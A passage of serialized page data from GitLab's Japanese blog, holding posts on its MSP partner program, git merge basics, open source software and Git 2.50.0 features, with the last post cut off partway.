そして👉[YouTubeチャンネル](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg)の登録もお忘れなく！",{"featured":641,"template":796,"slug":1050},"monday-merge-2026-march-9",{"content":1052,"config":1061},{"title":1053,"description":1054,"authors":1055,"heroImage":1057,"date":1058,"body":1059,"category":719,"tags":1060},"GitLabマネージドサービスプロバイダー（MSP）パートナープログラムのご紹介","GitLabの支援のもと、収益性の高いサービス主導型DevSecOpsプラクティスを構築",[1056],"Karishma Kumar","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","2026-02-26","*このブログは、GitLabプラクティスの構築を検討しているマネージドサービスプロバイダー（MSP）向けに執筆されています。デベロッパーやエンジニアリングリーダーの方にとっては、皆さまのようなチームのスケーリングと迅速な開発を支援するパートナーを強化するプログラムです。*\n\n多くの組織は、最新のDevSecOpsプラットフォームが必要であることを認識しています。しかし、ビジネスが求めるスピードでソフトウェアを提供しながら、プラットフォームのデプロイ、管理、継続的な最適化を行うリソースが不足しているケースが少なくありません。これはMSPにとって大きなビジネスチャンスであり、GitLabはそれを支援する専用プログラムを用意しました。\n\nこのたび、**GitLab MSPパートナープログラム**を発表いたします。これは、認定を受けたMSPがGitLabをフルマネージドサービスとして顧客に提供できるようにする新しいグローバルプログラムです。\n\n## パートナーと顧客にとっての意義\n\nGitLabとして初めて、MSP向けに正式に定義されたグローバルプログラムが誕生しました。明確な要件、体系的なイネーブルメント、専任のサポート、そして実質的な経済的メリットが用意されており、パートナーは安心してGitLabマネージドサービスプラクティスの構築に投資できます。\n\nタイミングも最適です。多くの組織がDevSecOpsへの取り組みを加速させていますが、ソフトウェアの構築とリリースという本来の業務に加えて、複雑な移行、ツールチェーンの拡散、増大するセキュリティ要件への対応に追われているのが現状です。\n\nGitLab MSPパートナーは、デプロイ、移行、管理、継続的なサポートなど、プラットフォーム運用を担当することで、開発チームが本来の業務に集中できる環境を提供します。\n\n## MSPパートナーが得られるメリット\n\n**経済的メリット**：MSPパートナーは、すべての取引、新規ビジネス、更新において、GitLabパートナーマージンに加えてMSPプレミアムを獲得できます。さらに、デプロイ、移行、トレーニング、イネーブルメント、戦略コンサルティングに対して顧客に請求するサービス料の100%を保持できるため、単一のプラットフォームを中心に複数の継続的な収益源を構築できます。\n\n**イネーブルメントと教育**：バージョンアップデート、新機能、ベストプラクティス、ロードマップの最新情報、ピアシェアリングを網羅した四半期ごとのテクニカルブートキャンプにアクセスできます。推奨されるクラウド認定資格（AWS Solutions Architect Associate、GCP Associate Cloud Engineer）が技術基盤を補完します。\n\n**Go-to-Marketサポート**：MSPには、GitLab認定MSPパートナーバッジ、共同ブランド資産、顧客事例の共同作成への参加資格、Partner Locatorへの掲載、および認定されたデマンドジェネレーション活動向けのMarketing Development Funds（MDF）へのアクセスが提供されます。\n\n## 顧客が期待できること\n\nGitLab MSPパートナーと連携する顧客は、体系的なマネージドDevSecOpsエクスペリエンス、文書化された再現可能な実装方法論、定期的なビジネスレビュー、そして明確に定義された応答およびエスカレーションパスを備えたサポートを受けられます。\n\nその結果、開発チームは優れたソフトウェアの構築に集中でき、MSPパートナーがプラットフォームの運用と最適化に注力するという理想的な体制が実現します。\n\n## AIを活用した新たなビジネスチャンス\n\nソフトウェア開発ワークフローにAIを安全に導入したいと考える組織が増えており、経験豊富なチームであっても、大規模な展開には体系的なアプローチが有効です。GitLab MSPパートナーは、より広範なマネージドサービスの一環として、GitLab Duo Agent Platformの導入を顧客に提案できる最適なポジションにあります。\n\nGitLabのDevSecOpsプラットフォームとMSPが提供する運用の専門知識を組み合わせることで、顧客はガバナンスが確保された環境でAI支援ワークフローを試験的に導入し、データレジデンシーとコンプライアンス要件を満たしながら、社内リソースに過度な負担をかけることなくチーム全体でAI導入を拡大できます。\n\n## このプログラムはお客さまのビジネスに適していますか\n\nGitLab MSPパートナープログラムは、以下に該当する場合に最適です。\n\n* クラウド、インフラストラクチャ、またはアプリケーション運用のマネージドサービスを既に提供している\n* 高付加価値のDevSecOpsをポートフォリオに追加したい\n* 最新の開発プラットフォームに関心のある技術人材を擁している、または育成したい\n* 単発の取引よりも長期的な顧客関係を重視している\n\n既にGitLab SelectおよびProfessional Servicesパートナーである場合、MSPプログラムは既存の専門知識を再現可能なマネージドサービスに転換するための体系的な方法を提供します。\n\n## 開始方法\n\n本プログラムは、**認定MSPパートナー**の指定から開始されます。参加にあたり、最低ARRや顧客数の要件はありません。以下がプログラム参加までの流れです。\n\n1. **適合性の確認** - [ハンドブックページ](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program)に記載されたビジネスおよび技術要件を満たしているか確認します。\n2. **GitLabパートナーポータルから申請** - ビジネスおよび技術に関するドキュメントを添えて申請を提出します。\n3. **90日間のオンボーディングを完了** - 契約、技術イネーブルメント、セールストレーニング、最初の顧客エンゲージメントを網羅した体系的なオンボーディングプログラムです。\n4. **マネージドサービスの提供を開始** - サービスをパッケージ化し、SLAを設定して、顧客へのエンゲージメントを開始します。\n\n提出された申請は、約3営業日以内に審査されます。\n\n> GitLabマネージドサービスプラクティスの構築にご興味がありますか？新規パートナーの方は[GitLabパートナーへの申請](https://about.gitlab.com/partners/)からお申し込みいただけます。既存パートナーの方は、GitLab担当者にお問い合わせいただき、プログラムの詳細やMSPプラクティスを通じて現在顧客に提供しているソリューションについてお知らせください。\n",[695,719,257],{"featured":641,"template":796,"slug":1062},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"category":734,"slug":732,"posts":1064},[1065,1078,1090],{"content":1066,"config":1076},{"date":1067,"heroImage":1068,"title":1069,"authors":1070,"category":732,"body":1071,"description":1072,"tags":1073},"2025-08-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1754287290/averr2ecwl01q2f9lknf.jpg","git mergeコマンドの基本を徹底解説",[1020],"## 目次\n\n1. [git mergeとは？](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%81%A8%E3%81%AF%EF%BC%9F)\n2. [git mergeコマンドの基本](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E5%9F%BA%E6%9C%AC)\n3. [マージ先のブランチを準備する](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E3%83%9E%E3%83%BC%E3%82%B8%E5%85%88%E3%81%AE%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E3%82%92%E6%BA%96%E5%82%99%E3%81%99%E3%82%8B)\n4. [最新のリモートコミットをフェッチする](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E6%9C%80%E6%96%B0%E3%81%AE%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%82%92%E3%83%95%E3%82%A7%E3%83%83%E3%83%81%E3%81%99%E3%82%8B)\n5. [早送りマージと３ウェイマージ](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E6%97%A9%E9%80%81%E3%82%8A%E3%83%9E%E3%83%BC%E3%82%B8%E3%81%A8%EF%BC%93%E3%82%A6%E3%82%A7%E3%82%A4%E3%83%9E%E3%83%BC%E3%82%B8)\n6. [git mergeによるコンフリクトの解決](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%81%AB%E3%82%88%E3%82%8B%E3%82%B3%E3%83%B3%E3%83%95%E3%83%AA%E3%82%AF%E3%83%88%E3%81%AE%E8%A7%A3%E6%B1%BA)\n7. [git mergeコマンドのベストプラクティス](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9)\n8. [GitLabでgit mergeを使う](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9)\n9. [git merge のFAQ](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89-%E3%81%AEfaq)\n\n## git mergeとは？\n\ngit mergeとは、分岐したブランチをmerge（マージ、統合すること）するコマンドのことです。別のリポジトリからの変更を組み込む際にも使われ、git pull（git fetchとgit mergeを組み合わせたもの）の一部としても機能します。チームで開発を実施するときなどにmainブランチから作業用ブランチを作り、テストをしてからマージ、プッシュすることも多いでしょう。\n\nたとえば、main ブランチに基づいて作成された新しいブランチ’feature’があるとします。この feature ブランチを main にマージするのに使われるのがgit mergeコマンドです。\n\n## git mergeコマンドの基本\n\ngit mergeの基本的なコードは次のようになります。\n\n```shell\ngit merge BRANCH_NAME\n```\n\nブランチ名は、取り込みたいブランチの名前を入力します。\n\n一見簡単そうですが、マージをスムーズに実行するにはいくつか準備が必要となりますので、次の章で確認しましょう。\n\n## マージ先のブランチを準備する\n\ngit status を実行して、HEAD が取り込む先のブランチであることを確認します。必要に応じて\n\n```shell\ngit checkout BRANCH_NAME\n```\n\nを実行して、マージする先のブランチに切り替えます。\n\n## 最新のリモートコミットをフェッチする\n\nリモートで変更を加えたら、マージ先ブランチとマージ元ブランチに最新の変更内容を反映させます。その際は、[git fetchとgit pull](https://about.gitlab.com/ja-jp/blog/what-is-the-difference-between-git-fetch-and-git-pull/)を使います。その後、リモートで加えた変更内容がmainブランチに反映されていることを確認します。\n\n## 早送りマージと３ウェイマージ\n\n早送りマージは、ブランチが分岐していない場合にのみ使えるコマンドです。早送りマージでは、マージ自体は行われませんが、ブランチの先頭とブランチの末尾の履歴を結合することで、旧ブランチからアクセスできたコミットが、新ブランチからも利用できるようになります。\n\n強制的に早送りマージを実施する場合は以下のコードを使います（分岐がある場合など早送りマージができない場合にはエラーとなりマージはできません）\n\n```shell\ngit merge --ff-only\n```\n\n一方、ブランチが分岐している場合には、早送りマージを適用することはできず、マージする手段は３ウェイマージに限られます。３ウェイマージは、3 つのコミット （2 つのブランチのそれぞれ先端のコミットと履歴を統合するために生成される専用のコミット）を使用してマージコミットを生成することから来ています。\n\n```shell\ngit checkout BRANCH_NAME\n```\n\nを使うと、早送りマージが可能な時は早送りマージを実施し、できない時に３ウェイマージを実施します。\n\n## git mergeによるコンフリクトの解決\n\nマージの基本を理解すると、同じ箇所を同時に更新してしまったらどうなるのか、という疑問を持たれる方もいるのではないでしょうか。この場合、Git側ではどちらを優先すべきか判断ができず、手作業でコンフリクトを解決することを求めます。\n\nエラーメッセージは次のように表示されます。\n\n```shell\ngit merge BRANCH_NAME\nAuto-merging index.html\nCONFLICT (content): Merge conflict in index.html\nAutomatic merge failed; fix conflicts and then commit the result.\n```\n\nコンフリクトを解決するまで、処理は中断されます。どのファイルでコンフリクトが発生してマージできなかったのを確認するにはgit status を実行します。\n\n```shell\ngit status\n```\n\n未解決のコンフリクトについては unmerged として表示されます。標準的なコンフリクトマーカーがファイルに追加されるため、該当ファイルから修正できます。git addを実行して、コンフリクトが解決したことを Git に通知します。続いて通常の git commit を実行してマージ コミットを生成します。\n\n## git mergeコマンドのベストプラクティス\n\ngit mergeコマンドでよく起こる問題として、他のデベロッパーが加えた変更を破棄してしまうことが挙げられます。個々人がこまめにgit mergeを実行することで、変更を破棄してしまう問題は避けることができますが、マージそのもののコストが膨れ上がる可能性があります。複雑なコンフリクトが出ない場合に自動マージしてくれるようなツールの導入は、git mergeを使うチームの大きな手助けになるはずです。\n\n## GitLabでgit mergeを使う\n\ngit mergeのベストプラクティスとしてツールの使用をおすすめしましたが、[GitLab](https://about.gitlab.com/ja-jp/)なら自動マージ機能のほかにもリモートリポジトリのホスティング、インターフェースの提供、変更内容のコードレビュー、プッシュされたコードの自動ビルド、テスト、デプロイまでを一括で管理できます。\n\ngit mergeで起きるコンフリクトを自動で解決できるGitLabの無料トライアルは[こちら](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/&glm_content=default-saas-trial)からお申し込みいただけます。\n\n## git mergeコマンド のFAQ\n\n### git mergeコマンドとは何ですか？\n\ngit mergeとは、分岐したブランチをmerge（マージ、統合すること）するコマンドのことです。\n\n### mainブランチにマージするにはどうしたらいいですか？\n\nまず、\u003Ccode>git checkout BRANCH_NAME\u003C/code>を使ってmainブランチに移動します。\n\n次に\u003Ccode>git merge BRANCH_NAME\u003C/code>を使ってマージしたいブランチを指定します。\n\nマージ先ブランチ名）master\\\nマージするブランチ名）feature1の場合には\n\n```xml\n\u003Ccode>git checkout master\u003C/code>\n\u003Ccode>git merge feature1\u003C/code>\n```\n\n\\\nとなります。\n\n### git mergeとgit rebaseの違いは何ですか？\n\ngit mergeとgit rebaseはどちらもブランチを結合するコマンドです。mergeが新しいコミットを生成してコミット履歴が分散してしまうのに対し、rebaseはコミット履歴をひとつのブランチにまとめます。rebaseはログを整理する目的で使われることが多いですが、別のブランチで他のメンバーが加えた変更の履歴を消してしまう可能性などがあるので、上級者向けのコマンドといえます。\n\n*監修：知念 梨果* *[@rikachinen](https://gitlab.com/rikachinen)（GitLab合同会社 カスタマーサクセス本部 カスタマーサクセスエンジニア）*\n","この記事では、git mergeコマンドについてコマンドの基本的な使い方からリクエストコードまで解説します。",[1074,997,822,1075],"collaboration","workflow",{"featured":13,"template":796,"slug":1077},"git-merge-command-overview",{"content":1079,"config":1088},{"title":1080,"description":1081,"authors":1082,"heroImage":1083,"date":1084,"body":1085,"category":732,"tags":1086},"オープンソースソフトウェア（OSS）とは？詳しく解説​","オープンソースの意味や、メリットとデメリットについて、分かりやすく解説します。",[1020],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752720740/g9x8oi988xuhioglpczi.jpg","2025-07-17","## オープンソースとは？\n\nオープンソースとは、ソフトウェアのコードが公開され、誰もが利用、改良、再配布できるという仕組みのことを指します。「オープンソースソフトウェア」と同義で使用されることが多いです。\n\n## オープンソースソフトウェア（OSS）とは？\n\nオープンソースソフトウェアはOSSとも記述され、Open Source Softwareの略称です。一般的な商用ソフトウェアとは異なり、誰でも利用、改良、再配布ができるようソースコードが公開されています。これにより個人や企業のデベロッパーは、各々の環境に合わせてソフトウェアを自由に改変し、特定の用途や問題に最適化することが容易にできます。ただし、OSSによってはライセンス制約が存在する場合もあります。\n\nフリー（無料）ソフトと混同されることがありますが、フリーソフトのほとんどはソースコードが非公開です。よって、ソースコードが公開されているかどうかで、OSSかの判断をするのが一般的です。\n\n## オープンソースソフトウェアの基本原則\n\nオープンソフトウェアに明確な定義はありませんが、「ソースコードが公開されていること」以外にも広く認知されている要件があります。これら要件は、米国のOpen Source Initiative（OSI）という団体が提唱した以下10項目を指すのが一般的です。\n\n* 再配布の自由\n* ソースコードの配布\n* 派生ソフトウェアの配布許可\n* 作成者のオリジナルコードの完全性\n* 個人やグループに対する差別禁止\n* 使用分野に対する差別禁止\n* ライセンスの配布\n* 特定製品でのみ有効なライセンスの禁止\n* 他ソフトウェアを制限するライセンスの禁止\n* ライセンスの技術的中立\n\n要約するとOSSの基本原則は、ユーザーやデベロッパーに自由を提供し、協力的な環境を促進することと言えます。ただし、「自由」ではあるものの、ライセンスによって一定のルールは設定されています。例えば、GPLやMITライセンスは、OSSに付随するライセンスの利用や再配布、改変の範囲を規定し、自由利用を促進しつつも、デベロッパーやユーザーの権利を保護しています。OSS利用の際は、こういったライセンスルールを理解し、遵守することを忘れないようにしましょう。ライセンスについては後ほど詳しく解説します。\n\n## オープンソースソフトウェアの具体例\n\nどういったソフトウェアがOSSなのかと問われると、すぐには思いつかないかもしれません。実際に、どういったソフトが様々な分野で活躍しているのかいくつかご紹介しましょう。\n\n### WordPress\n\nWordPressという名前は、誰もが一度は聞いたことがあるでしょう。WordPressはウェブサイトを簡単に作成できるコンテンツ管理システム（CMS）で、世界中でもっとも利用されているCMSとなっています。ウェブサイトデベロッパーは自由にカスタマイズを行うことができ、また、活発なコミュニティで互いをサポートし合うことにより、新たな拡張機能の開発等に貢献しています。\n\n### GIMP\n\nGIMPは、イラストレーター、グラフィックデザイナー、フォトグラファー、サイエンティストなど画像を扱う専門家に人気の画像編集ソフトウェアです。ユーザーは無料でダウンロードして利用でき、WordPressと同じく活発なコミュニティが、日々のバグ修正や、新プラグインを開発をサポートしています。\n\n### Brave Browser\n\nBraveは、ユーザーのプライバシー保護を主眼としたウェブブラウザであり、広告やトラッキングを防止してくれます。さらに、独自の暗号通貨（BAT）や検索システムを開発しているなどの理由で、デベロッパー間では人気のブラウザの一つです。Braveもオープンソースであるため、個人が自由にブラウザ機能をカスタマイズしたり、新たに機能を追加したりすることができる仕様となっています。\n\n### GitLabのオープンソースプロジェクト\n\n[GitLabプラットフォーム](https://about.gitlab.com/ja-jp/)を利用して開発されているオープンソースプロジェクトをいくつかご紹介します。\n\n#### Drupal\n\nDrupalはWordPressと同様に、オープンソースのコンテンツ管理システム（CMS）です。堅牢性と拡張性の高さが評価されており、NASAや経済産業省といった政府機関や、Teslaなどの企業に採用されています。\n\n#### VLC\n\nWindowsやMacにとどまらず、LinuxやiOS等でも使うことできる、メディアプレイヤーです。多様な種類の音声や動画ファイルを再生でき、様々なファイル形式に対応しています。広告等、ユーザーにとって不要な機能が一切搭載されておらず、世界中で広く利用されています。\n\n#### LibreOffice\n\nMicrosoft Officeとよく比較されることがあるのが、LibreOfficeです。無料で利用することができ、様々なオフィスツールを提供することから、たくさんの企業や個人に使用されています。\n\n## オープンソース開発のメリットとデメリット\n\nOSSの開発には様々なメリットとデメリットがあります。開発手法についての議論は付きませんが、ここでは言及されることが多いポイントをいくつか挙げてみます。\n\n### メリット\n\n#### コミュニティによる自発的なサポートと開発\n\nオープンソース開発は通常、世界中のデベロッパーが参加した活発なコミュニティを形成しています。多種多様なバックグランドを持つ個々のユーザーたちがお互いにアイデアやフィードバック、サポートし合うことを基本とし、継続的な開発とサポートをしてくれます。\n\n#### 高い透明性に担保された信頼とセキュリティ\n\nOSSの信頼とセキュリティは、誰もがソースコードを参照できることで実現されています。\n\nまず、たくさんのデベロッパーの目に触れるため、脆弱性やバグが比較的早い段階で発見されます。これにより、セキュリティを高レベルに引き上げることができます。そして、ソースコードが公開されているため、不正な動作やバックドアの存在といったリスクを排除しやすく、ソフトウェアの信頼性を高めてくれます。\n\n#### 開発にかかる時間と費用の削減\n\nオープンソースソフトウェアは大抵が無料で、自由にソースコードを改変できます。よって、ライセンス料とスクラッチ開発が不要であり、個人や企業の費用と開発時間を大幅に削減してくれます。\n\n### デメリット\n\n#### 開発プロジェクトの継続性\n\nオープンソース開発は、有志が中心となって行われる場合が多いため、プロジェクトが遅延したり、突然中止となったりするリスクがあります。また、安定した開発スケジュールが維持されないこともあります。\n\nプロジェクトの多くは無償、スポンサー、寄付で成り立っていることが一般的なので、開発コアメンバーが抜けた、資金が枯渇してしまった、などの理由から開発自体が立ち行かなくなることもあります。\n\n#### 責任の所在が曖昧\n\nコミュニティ主導で開発が進められる場合、ユーザーにバグや他ソフトと統合できないといった問題が発生しても商用ソフトウェアとは異なり、自己解決しなくてはならないケースが通常です。迅速かつ的確なサポートが受けづらいケースも、発生することがあります。\n\n#### ライセンスの準拠で\n\n当然ながら、OSSにもライセンスが存在します。無条件に利用や再配布ができるわけではないので、しっかりとライセンスを理解した上で使用しなければいけません。ライセンス規約に違反してしまい、過去には訴訟に発展したケースもあるため、注意が必要です。詳しくは後ほど解説します。\n\n### オープンソースの課題とGitLabのアプローチ\n\nGitLabというプラットフォームが、OSSにおける課題に対してどう取り組んでいるかについて、いくつかご紹介しましょう。詳細を知りたい場合は、[オープンソースプロジェクト向けのGitLabソリューション](https://about.gitlab.com/ja-jp/solutions/open-source/)を読んでみてください。\n\n#### 脆弱性の早期発見と修正\n\nオープンソースは、コードが公開されているため、悪意のある人物が脆弱性を発見してしまうリスクがあります。\n\n[DevSecOpsプラットフォーム](https://about.gitlab.com/ja-jp/topics/devsecops/)であるGitLabは、開発プロセス全体においてセキュリティを重要視しています。静的アプリケーションセキュリティテスト（SAST）や依存関係スキャンといった強力なツールが、早期の脆弱性発見と修正を実現する仕組みを実現します。\n\n#### サポートの補完\n\nOSSはコミュニティによるサポートが中心となり、的確なサポートや迅速な対応を受けられないケースが発生することがあります。\n\n[商用版GitLab](https://about.gitlab.com/ja-jp/pricing/)には、「GitLab Premium」「GitLab Ultimate」があり、公式サポートという選択肢が用意されています。また、コミュニティの結束を高める働きかけをすることで自発的サポートも促進しています。\n\n#### コミュニティの活性化\n\n活発なコミュニティなしに、OSSを成功させることはできませんが、これを維持するのは容易ではありません。\n\nGitLabは、[GitLabフォーラム](https://forum.gitlab.com/c/community/gitlab-for-open-source/49)を運営したり、[オープンソース団体向けプログラム](https://about.gitlab.com/ja-jp/solutions/open-source/join/)を実施、GitLabハッカソンやオンラインイベントを開催したりすることで、デベロッパー同士の繋がりを促進、コミュニティの活性化と拡大に貢献しています。\n\n## オープンソースのライセンスとその重要性\n\nオープンソースのライセンスは、ソフトウェアの利用、配布、変更等に関する権利と制限を明記したものであり、法的拘束力を持ちます。よって、ソフト利用者はこれをしっかりと理解した上で、トラブル回避をすることが望ましいといえます。\n\nまた、ソフトウェアデベロッパーがどのライセンス規約にするかを考える場合には、透明性を重視するのか、自由度を重視するのかなどにより選択するライセンスが異なってきます。ここでは、いくつか代表的なものをご紹介しましょう。\n\n以下に表としてまとめてみました。\n\n![オープンソース　ライセンスのタイプと代表例](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752720035/v9ld6h78ilk22x30nged.jpg)\n\n### コピーレフト\n\nコピーレフトライセンスは、元となるソフトウェアを再配布する時には、派生物も元OSSと同じ条件下で行う必要があるというものです。このタイプのライセンスは、非常に伝播性が強いのが特徴です。\n\nまたコピーレフトという言葉は、「コピーライト」をもじったものから誕生しました。\n\n### 準コピーレフト\n\nコピーレフトと比べ、伝播性が多少弱いのが準コピーレフトです。元のOSSのソースコードを再利用した時に、元のライセンスと同条件で再配布する必要があります。\n\n### 非コピーレフト\n\nパーミッシブライセンスとも呼ばれます。名前の通りですが、元のOSSと同条件のライセンスにする必要がありません。ソースコードの公開義務がないため、商用利用されることが多いです。\n\n## よくある質問\n\n### オープンソースソフトウェア（OSS）とは何ですか？\n\nOSSとは、ソースコードが公開され、誰でも自由に利用、修正、配布できるソフトウェアのことです。\n\n### OSSのセキュリティは安心ですか？\n\nOSSライセンスは、ソフトウェアの利用や再配布に関する自由と制約を明確に定義したものです。\n\n### OSSのライセンスにはどんな種類がありますか？\n\nライセンスにはGPL、MIT、Apache Licenseなど、異なる自由度や利用条件を持つものがあり、コピーレフト、準コピーレフト、非コピーレフトの３つに大別されます。\n\n### なぜ企業がOSSを採用するのですか？\n\nコスト削減、柔軟性、信頼性向上、技術コミュニティとの連携が理由となる場合が多いです。またGitLabでは、[オープンソースプロジェクト向けのソリューション](https://about.gitlab.com/ja-jp/solutions/open-source/)を提供しています。ぜひご確認ください。\n\n*監修：佐々木 直晴* [@naosasaki](https://gitlab.com/naosasaki)*（GitLab合同会社 ソリューションアーキテクト本部 シニアソリューションアーキテクト）*",[1074,242,1087,757],"open source",{"featured":13,"template":796,"slug":1089},"what-is-open-source",{"content":1091,"config":1100},{"title":1092,"description":1093,"authors":1094,"heroImage":1096,"body":1097,"date":1098,"category":732,"tags":1099},"Git 2.50.0の新機能","git-diff-pairs(1)コマンドや、参照の一括更新を行うためのgit-rev-list(1)オプションなど、GitLabのGitチームとGitコミュニティによるコントリビュートをご紹介します。",[1095],"Justin Tobler","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","Gitプロジェクトは最近、[Gitバージョン2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u)をリリースしました。今回のリリースの注目すべきポイントをいくつかご紹介します。これには、GitLabのGitチームやより広範なGitコミュニティからのコントリビュートも含まれています。\n## 新しいgit-diff-pairs(1)コマンド\n\n差分は、すべてのコードレビューの中心となるもので、2つのリビジョン間で行われた\nすべての変更を表示します。GitLabでは、さまざまな場所で差分が表示されますが、最も\n一般的なのはマージリクエストの[「変更」タブ](https://docs.gitlab.com/user/project/merge_requests/changes/)です。\nその裏側では、差分の生成に[`git-diff(1)`](https://git-scm.com/docs/git-diff)が\n使われています。たとえば、以下のように使います。\n\n```shell\n$ git diff HEAD~1 HEAD\n```\n\nこのコマンドは、変更されたすべてのファイルの完全な差分を返します。ただし、リビジョン間で変更されたファイル数が非常に多い場合、スケーラビリティの課題が生じる可能性があります。GitLabのバックエンドでは、コマンドが自己設定されたタイムアウトに達してしまうこともあります。変更数が多い場合、\n差分の計算をより小さく扱いやすい単位に分割できる方法があれば、より効果的です。\n\nこの課題を解決する1つの方法は、\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree)を使って、\n変更されたすべてのファイルに関する情報を取得することです。\n\n```shell\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n```\n\nGitはこの出力を[「raw」フォーマット](https://git-scm.com/docs/git-diff-tree#_raw_output_format)と呼んでいます。\n簡単に言えば、出力の各行にはファイルのペアと、\nそれらの間で何が変更されたかを示すメタデータが表示されます。大規模な変更に対して\n「パッチ」形式の出力を生成する方法と比べて、\nこの処理は比較的高速な上、すべての変更の概要を把握できます。また、このコマンドでは、`-M`フラグを付けることでリネーム検出を有効にし、変更がファイルのリネームによるものかどうかを判別することもできます。\n\nこの情報を使えば、`git-diff(1)`を使って各ファイルペアの差分を\n個別にコンピューティングすることができます。たとえば、以下のようにblob IDを\n直接指定することも可能です。\n\n```shell\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n```\n\nこの処理は、各ファイルペアごとに繰り返すことができますが、\n個別のファイル差分ごとにGitプロセスを立ち上げるのは、あまり効率的ではありません。\nさらに、blob IDを使った場合、変更ステータスやファイルモードといった、\n親ツリーオブジェクトに格納されているコンテキスト情報が差分から失われてしまいます。\n本当に必要なのは、「raw」なファイルペア情報を元に、\n対応するパッチ出力を生成する仕組みです。\n\nバージョン2.50から、Gitに新しい組み込みコマンド\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs)が追加されました。このコマンドは、\n標準入力（stdin）から「raw」形式のファイルペア情報を受け取り、どのパッチを出力すべきかを正確に判断します。以下の例は、\nこのコマンドの使用方法を示しています。\n\n```shell\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n```\n\nこのように使用した場合、出力結果は`git-diff(1)`を使った場合と同じになります。\nパッチ出力を生成する専用コマンドを分けることで、\n`git-diff-tree(1)`から得られた「raw」出力を、より小さなファイルペアのバッチに分割し、それぞれを別々の\n`git-diff-pairs(1)`プロセスにフィードすることができます。これにより、差分を一度にすべてコンピューティングする必要がなくなるため、\n先に挙げたスケーラビリティの課題が解決されます。今後のGitLabリリースでは、\nこの仕組みの応用により、\n特に変更量が多い場合における差分生成のパフォーマンス向上が\n期待されます。この変更についての詳細は、該当する\n[メーリングリストのスレッド](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/)をご覧ください。\n\n_このプロジェクトは[Justin Tobler](https://gitlab.com/justintobler)が主導しました。_\n\n## 参照更新の一括処理\n\nGitには、参照を更新するための[`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\nコマンドが用意されています。このコマンドを`--stdin`フラグとともに使用すると、\n複数の参照を1つのトランザクションとしてまとめて更新できます。\nこれを行うには、各参照更新の指示を標準入力（stdin）で指定します。\nこの方法で参照を一括更新すると、アトミックな動作も実現できます。つまり、1つでも参照の更新に失敗した場合、\nトランザクション全体が中断され、\nどの参照も更新されません。以下は、この動作を示す例です。\n\n```shell\n# 3つの空のコミットと「foo」という名前のブランチを持つリポジトリを作成する\n$ git init\n$ git commit --allow-empty -m 1\n$ git commit --allow-empty -m 2\n$ git commit --allow-empty -m 3\n$ git branch foo\n\n# コミットIDを出力する\n$ git rev-list HEAD\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n5a74cd330f04b96ce0666af89682d4d7580c354c\n5a6b339a8ebffde8c0590553045403dbda831518\n\n# トランザクションで新しい参照を作成し、既存の参照を更新しようとします。\n# 指定された古いオブジェクトIDが一致しないため、更新は失敗することが予想されます。\n$ git update-ref --stdin \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n# 「bar」リファレンスは作成されませんでした。\n$ git switch bar\nfatal: invalid reference: bar\n```\n\n多くの参照を個別に更新する場合と比べて、一括で更新するほうがはるかに効率的です。\nこの方法は基本的にうまく機能しますが、\n一括更新による効率面のメリットを優先するために、\nリクエストされた参照更新の一部が失敗することを許容したい場合も\nあります。\n\n今回のリリースで、`git-update-ref(1)`に新しく`--batch-updates`オプションが追加されました。\nこのオプションを使用すると、1つ以上の参照更新が失敗しても、処理を続行できるようになります。\nこのモードでは、個々の失敗が次の形式で出力されます。\n\n```text\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP 